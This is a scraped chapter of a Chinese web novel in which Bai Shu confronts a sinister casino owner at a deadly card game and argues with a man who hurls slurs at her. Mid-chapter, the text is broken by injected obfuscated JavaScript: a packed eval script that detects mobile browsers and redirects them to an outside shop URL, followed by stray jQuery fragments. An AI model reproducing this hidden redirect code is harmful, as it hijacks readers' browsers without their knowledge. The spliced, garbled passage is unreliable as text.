默认冷灰
24号文字
方正启体

17.单元壹·中(修文)

作者:竹戏酒本书字数:K更新时间:
    那老人大惊失色,她也是第一次来这种地方,不懂规矩,刚刚洗牌也只是随随便便从中间乱抽几张放在上面打乱。


    她习惯性扯出一抹笑,刚想说话,目光却又触及杨光天的笑容,什么话都在舌头打了个转,被她发着抖咽回去了。


    她没说话,杨光天自然就当做她同意了,脸上浮起一抹满意的笑。


    只是恐怖的是,这个笑明明是在面具之下,而在面具之上那抹笑也恰好出现。


    他对着旁边的那个中年人微微一笑,道:“传过去给她。”


    那个中年人这才发现他的笑容多么诡异,话也不敢说,抖着手传给下一个人。


    只是他刚递出去,就听见那个温润的男声毫无情绪低声问:“你在抖什么?”


    这声音不大,但却清楚传进了每一个人的耳里。


    是的,这声音不仅不大,反而有种在耳边窃窃私语的感觉,但真真切切传进了在场每一个人的耳里。


    白姝拧眉,她感觉到了一丝鬼气。


    只是使用者道行高深,只是出现了一瞬间,然后就销声匿迹了,好像刚刚那是她的错觉。


    但这种种诡异,她不得不相信这是真的。


    会是……江栗吗?


    如果是她,那江栗这些年的进步堪称神速,在她手底下死的人恐怕比白姝预期最高的还要多。


    想到这,白姝不自觉蹙了蹙眉。


    最终那两沓牌还是到了老人手里。


    老人本身便抖,此刻更是到达极致,接都接不住那两沓牌,一岔手,那两沓牌随之而落。


    金箔随意往地上飘着,整整齐齐顿时成了杂乱不堪。


    那老人咚的一声往地上跪去。


    她跪下来以头抢地,一边磕一边喋喋道歉:“对不住对不住,草民不是故意的,望大人恕罪……”


    所有人冷眼看着她磕头的样子,没有一个人出声为她求情。


    她跪在地上,因为年纪较大所以身子缩了水,在这座金屋面前看起来那么的不起眼,那么的渺小,那么的肮脏。


    但是杨光天并没有怪罪她。


    他只是轻轻笑了一下,道:“你这是做什么?不过是没接住牌,有什么好跪的?”


    说着,他拍了下手,刚刚站在门外的女子抬脚走进来,手上端着个托盘。


    那托盘上面放着两副和刚刚一模一样的金箔牌。


    那女子恭恭敬敬把托盘放在他面前,他抬手随意洗了几遍,全程没有看过牌面。


    他只是看着老人疑惑道:“你怎么还跪着?你不起来,我们玩什么呢?”


    说完这句话,他好像发现有什么歧义一样,歉意笑笑,找补:“抱歉,不小心说错了,你得起来发牌。”


    “这次,你可要接好牌。”


    白姝看着那老人抖成筛子依旧不肯动的身影还是没忍住站起身来,对着杨光天道:“老板,要不我和她换个位置吧?”


    “老人家嘛,老了,手抖,接不住牌很正常,我年轻,手不抖。”


    林织没想到她会突然逞英雄,瞪大了眼睛忙扯她的衣摆,却被她猛的抽出,没等杨光天发话,径直走到刚刚那老人的座位上面坐下。


    那老人也没有想到她会突然为自己站出来,但是能有活命的机会的话,谁会不抓住呢?


    她忙起身,快步走到白姝的位置坐下,生怕白姝下一秒就反悔一样。


    白姝只是遥遥看了她一眼,什么话都没有说,把目光转向坐在桌子另一头的男子。


    男子只是用一种极为感兴趣的眼神打量着她,但是也没有反对,只是像刚刚那个流程一样把牌递给那个中年人道:“传过去给她,让她发牌。”


    而在这时,白姝突兀出声打断了那中年人的动作,成功让所有人一愣。


    “诶,不对吧?刚刚我们都轮流洗了牌的,现在老板您这是?”


    这话可就不太对劲了。


    如果说刚刚那老人是无意间手抖那倒也能理解,如果说这是这老板故意的呢?


    故意老人心理上的压力增加,故意让老人打翻,再装作宽容大度重新拿一副牌。


    反正拿牌的是他的人,谁知道做了手脚没有。


    杨光天似乎很无奈看了她一眼。


    但还是没说什么,把牌传给中年人,大家再一次轮了一遍洗了牌。


    然后,那两沓牌回到了他的手里。


    他翘了翘唇角,把牌传给中年人,始终盯着白姝的脸,想从她的脸上看到什么别的情绪。


    比如说老人脸上的紧张。


    但是全然没有。


    白姝脸上不仅没有紧张,反而一脸淡然,接过牌还下意识顺手洗了一遍,然后把那两沓牌放在自己面前。


    他有些气恼,但他不会表现出来,只是笑的有些僵硬,道:“那请发牌吧。”


    “等等,规则玩法你还没说。”


    白姝抬眸对上他那探究的视线,微微一笑道。


    但是在座的一些人全然愣住了,有些人是早就做好准备,就等着撞大运进来,他们把规则琢磨千遍万遍;


    有些人不懂,但是也不敢问,只好藏着掖着等着看接下来的对局,试图从中揣摩一二。


    她看上去风轻云淡,就好像来也行,不来也罢;赢也行,输也罢。


    就好像……根本看不起他一样。


    杨光天的神色不自觉冷了下来。


    白姝这一开口,大家的视觉重心一下子全到了她身上,大多数的眼神都带着钦佩。


    这其中大多数都是发自内心的,毕竟也没有人敢这么突然发问,楼下人的教训还历历在目。


    杨光天只是神色冷了,但还是平静开口道:“当然,晓怡,你来给他们讲。”


    晓怡就是刚刚抱猫的女子,她其实刚刚也一直错愕盯着白姝,只是杨光天一说话她就立马回神,躬身应道:“是。”


    她直起身子,略微大了点声音扫视一周,盯着白姝道:“我们赌场的规矩很简单,和我们老板对赌,要是赢了拿走赌场所有的一切,要是输了就人留在这里。”


    白姝不在意挑了挑眉。


    她见白姝没什么别的表情,顺着自己的话接下去道:


    “而老板设置的东西很简单,只要是个人就能上手。”


    “你们加老板一起共有八人,每人三张牌,你们可以从时辰牌、生肖牌中各抽取一张,然后再从里面两沓中间随意抽取一张牌。”


    “然后,你们每个人把三张牌深深记住,随便拿出一张牌来反扣在桌面上不让别人看到。”


    “从主子开始,顺时针猜牌,猜中的人获得上一个人的牌,若是没猜中就是反过来的。”


    她顿了顿,走到白姝身边蹲下身子捡起两张刚刚散落在地上的牌,一张生肖牌一张时辰牌。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176613|196419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时辰牌上面仅仅写着一个字“子”,在生肖牌上面画着一个动物,一个被困在囚笼里的牛。


    这两张牌没有问题,但那张生肖牌上面的牛太过于惟妙惟肖,看上去便让人生理不适。


    白姝蹙了眉,突然感觉这里面似乎有些不对劲,但是她又说不出来哪里不对劲。


    晓怡继续道:“主子是庄主,若是主子集齐……获得所有的牌,那主子就会有一张金牌。”


    “若是最后庄主的牌出完了一直都没有获得金牌,那则担保者获得一张金牌,一共三轮。”


    说到担保者,她加重了音量,同时手拍在白姝的椅子上。


    她还对着白姝道:“对了,你这个位置就是担保者。”


    白姝对上她的目光,没有感觉到很害怕,随口问:“那要是三轮过后担保者都没有获得金牌怎么样?获得金牌又会怎么样?”


    晓怡笑了笑,温温柔柔道:“我刚刚不是说了吗?输了的要留在这。”


    “要是三轮都没有获得金牌,可不就是输了嘛。”


    其他人纷纷松了口气。


    只是这口气还没松完,就听见她补充道:“对了,刚刚忘记说了,不是担保者留在这,是你们所有人都要留在这儿。”


    这话一出,大家瞬间哗然。


    坐在杨光天旁边的中年人立马怒目圆瞪,对着白姝大声嚷嚷:“你小子行不行啊?要是不行的话就下来,别坐那,待会我们就因为你全死了。”


    说着,他又低声骂了句:“不愧是男婊/子。”


    白姝听了这话,觉得好笑,道:“你搞清楚没有,什么叫因为我全死了,她说的是庄主要是没有集齐就让担保者获得一张金牌。”


    “这说明,我们是团队合作,不是单打独斗。”


    挑清楚这一点以后,她又盯着他,冷声道:“而且,这位置刚刚你怎么不坐?怎么我一坐过来你就要坐了?”


    “哦,我知道了,你是突然发现这个位置并没有你想的那么差,而且还能让你在人群之中脱颖而出,是不是?”


    她这话一出,刚刚那中年人像是被揭掉了遮羞布一样,拍着桌子站起身来怒骂道:“你个男/婊子什么意思?别以为你长得白就可以为所欲为,谁知道你怎么进来的。”


    他这种一看就是平时随口造谣说惯了的,不经过大脑思考就顺口说了出来。


    毕竟刚刚她和晓怡在下面的事人人皆知。


    想到这儿,她才想起之前此人做过的一些恶心事。


    白姝并非不认识他,而且记他记得特别深刻。


    见他终于把刚刚骂的话喊出来,白姝冷笑一声,丝毫不退让:“哦,你的意思是我勾搭老板的人?你是看高了我还是看低了老板?”


    “怎么,这么大一个赌场,老板的人会看上我一个不知名传的小人物?”


    “怎么,看别人都是婊/子?是自己当过还是这么的?被你口头毁清白的姑娘不少吧?”


    说到这里,她不可遏制地翻起他之前做过的事,脸上的神色愈发冷漠。


    “我今日要是是个姑娘家,你是不是回去就要大声嚷嚷我和赌场里面的杂役有一腿了?”


    说到这,她又冷笑一声:“婊/子都比你干净,别人至少靠自己赚钱,你这种人只想靠白嫖,等着别人喂进嘴巴,你难道就不是精神上的小倌了吗?”


    “不对,你长得丑多了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)